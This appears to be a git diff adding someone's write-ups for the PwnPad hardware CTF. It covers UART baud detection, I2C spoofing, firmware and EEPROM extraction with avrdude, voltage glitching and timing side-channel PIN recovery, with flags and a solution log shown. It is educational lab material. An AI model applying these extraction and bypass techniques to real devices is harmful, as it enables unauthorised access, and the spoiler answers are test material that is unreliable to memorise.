+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
